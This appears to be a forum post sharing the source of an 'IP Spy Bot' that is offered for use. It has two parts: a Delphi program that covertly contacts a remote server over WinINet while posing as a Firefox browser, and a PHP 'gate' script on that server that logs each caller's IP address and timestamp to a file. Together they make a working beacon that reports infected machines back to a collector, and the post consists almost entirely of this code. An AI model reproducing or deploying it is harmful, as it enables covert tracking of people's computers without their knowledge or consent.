IP Spy Bot2 by Boolean

[WestSide]

IP Spy Bot by Boolean, codingworld.ru

Wininet

program ipbot; 

type 
   DWORD = LongWord; 
   HINTERNET = Pointer; 
   BOOL = LongBool; 
   INTERNET_PORT = Word; 
   LPSTR = PAnsiChar; 
   PLPSTR = ^LPSTR; 

const 
   winetdll = 'wininet.dll'; 
   INTERNET_DEFAULT_HTTP_PORT = 80; 
   INTERNET_FLAG_RELOAD = $80000000; 
   INTERNET_FLAG_IGNORE_CERT_CN_INVALID        = $00001000; 
   INTERNET_FLAG_NO_CACHE_WRITE        = $04000000; 
   INTERNET_FLAG_PRAGMA_NOCACHE    = $00000100; 
   INTERNET_FLAG_KEEP_CONNECTION       = $00400000; 
   INTERNET_OPEN_TYPE_PRECONFIG        = 0; 
   INTERNET_OPTION_CONNECT_TIMEOUT = 2; 
   INTERNET_OPTION_SEND_TIMEOUT = 5; 
   INTERNET_OPTION_RECEIVE_TIMEOUT = 6; 
   INTERNET_OPTION_DATA_SEND_TIMEOUT = 7; 
   INTERNET_OPTION_DATA_RECEIVE_TIMEOUT = 8; 
   INTERNET_OPTION_DISCONNECTED_TIMEOUT        = 49; 
   INTERNET_SERVICE_HTTP = 3; 
   HTTP_VERSION       = 'HTTP/1.0'; 


function InternetOpen(lpszAgent: PChar; dwAccessType: DWORD; 
  lpszProxy, lpszProxyBypass: PChar; dwFlags: DWORD): HINTERNET; stdcall; external winetdll name 'InternetOpenA'; 
function InternetSetOptionW(hInet: HINTERNET; dwOption: DWORD; 
  lpBuffer: Pointer; dwBufferLength: DWORD): BOOL; stdcall; external winetdll name 'InternetSetOptionW'; 
function InternetConnect(hInet: HINTERNET; lpszServerName: PChar; 
  nServerPort: INTERNET_PORT; lpszUsername: PChar; lpszPassword: PChar; 
  dwService: DWORD; dwFlags: DWORD; dwContext: DWORD): HINTERNET; stdcall; external winetdll name 'InternetConnectA'; 
function HttpOpenRequest(hConnect: HINTERNET; lpszVerb: PChar; 
  lpszObjectName: PChar; lpszVersion: PChar; lpszReferrer: PChar; 
  lplpszAcceptTypes: PLPSTR; dwFlags: DWORD; 
  dwContext: DWORD): HINTERNET; stdcall; external winetdll name 'HttpOpenRequestA'; 
function HttpSendRequest(hRequest: HINTERNET; lpszHeaders: PChar;  
  dwHeadersLength: DWORD; lpOptional: Pointer;  
  dwOptionalLength: DWORD): BOOL; stdcall; external winetdll name 'HttpSendRequestA'; 
function InternetQueryDataAvailable(hFile: HINTERNET; var lpdwNumberOfBytesAvailable: DWORD; 
  dwFlags, dwContext: DWORD): BOOL; stdcall; external winetdll name 'InternetQueryDataAvailable'; 
function InternetReadFile(hFile: HINTERNET; lpBuffer: Pointer; 
  dwNumberOfBytesToRead: DWORD; var lpdwNumberOfBytesRead: DWORD): BOOL; stdcall; external winetdll name 'InternetReadFile'; 
function InternetCloseHandle(hInet: HINTERNET): BOOL; stdcall; external winetdll name 'InternetCloseHandle'; 


procedure sendip; 
var 
  hInternet, hConnect, hRequest : pointer; 
  dwBytesRead,I,Z,FCon,FReq : Cardinal; 
  headers,resultp,res,szdata: String; 
  dwcode: array[1..20] of char; 
  begin 
     headers := 
    'Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1' +#13#10 + 
    'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8' +#13#10+ 
    'Content-Type: application/x-www-form-urlencoded' + #13#10 + 
    'Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1' + #13#10+ 
    'Accept-Encoding: deflate' +#13#10+ 
    'Cookie2: $Version=1' + #13#10+ 
    'Connection: Keep-Alive, TE' +#13#10+ 
    'TE: deflate, gzip, chunked, identity, trailers'; 
     szdata:=''; 
     FCon := INTERNET_DEFAULT_HTTP_PORT; 
     FReq := INTERNET_FLAG_RELOAD or INTERNET_FLAG_IGNORE_CERT_CN_INVALID or INTERNET_FLAG_NO_CACHE_WRITE or INTERNET_FLAG_PRAGMA_NOCACHE or INTERNET_FLAG_KEEP_CONNECTION; 
     hInternet := InternetOpen('Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 MRA 5.6 (build 03278) Firefox/3.6.8', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); 
     InternetSetOptionW(hInternet, INTERNET_OPTION_CONNECT_TIMEOUT,PChar('10000'),Length('10000')); 
     InternetSetOptionW(hInternet, INTERNET_OPTION_SEND_TIMEOUT,PChar('10000'),Length('10000')); 
     InternetSetOptionW(hInternet, INTERNET_OPTION_RECEIVE_TIMEOUT,PChar('10000'),Length('10000')); 
     InternetSetOptionW(hInternet, INTERNET_OPTION_DATA_SEND_TIMEOUT,PChar('10000'),Length('10000')); 
     InternetSetOptionW(hInternet, INTERNET_OPTION_DATA_RECEIVE_TIMEOUT,PChar('10000'),Length('10000')); 
     InternetSetOptionW(hInternet, INTERNET_OPTION_DISCONNECTED_TIMEOUT,PChar('10000'),Length('10000')); 
     if Assigned(hInternet) then 
     begin 
         hConnect := InternetConnect (hInternet, PChar('codingworld.ru'), FCon, nil, nil, INTERNET_SERVICE_HTTP, 0 ,1); 
         if Assigned(hConnect) then 
         begin 
             hRequest:= HttpOpenRequest(hConnect,PChar('GET'),  PChar('/index.php'), HTTP_VERSION, 'codingworld.ru', nil, FReq, 1); 
             if Assigned(hRequest) then 
             begin 
                 I:=1; 
                 if HttpSendRequest(hRequest,PChar(headers), Length(headers), PChar(szData), 0) then 
                 begin 
                     repeat 
                     InternetQueryDataAvailable(hRequest, Z, 0, 0); 
                     if Z = 0 then break; 
                     SetLength(resultp, Z+I); 
                     if InternetReadFile(hRequest, @resultp[I], sizeof(Z), dwBytesRead) then 
                     else break; 
                     inc(I, dwBytesRead); 
                     until dwBytesRead = 0; 

                     resultp[I] := #0; 
                     res := PChar(@dwcode); 
                 end; 
             end; 
              InternetCloseHandle(hRequest); 
         end; 
         InternetCloseHandle(hConnect); 
     end; 
     InternetCloseHandle(hInternet); 

  end; 
begin 
 sendip; 
end.

гейт

<?php    
$ip=$_SERVER['REMOTE_ADDR'];    
$all=date("m.d.Y H:i:s").'  :  '.$ip;    
$base = fopen('base.txt', "a+");    
fwrite($base, $all."\r\n");    
fclose($base);    
?>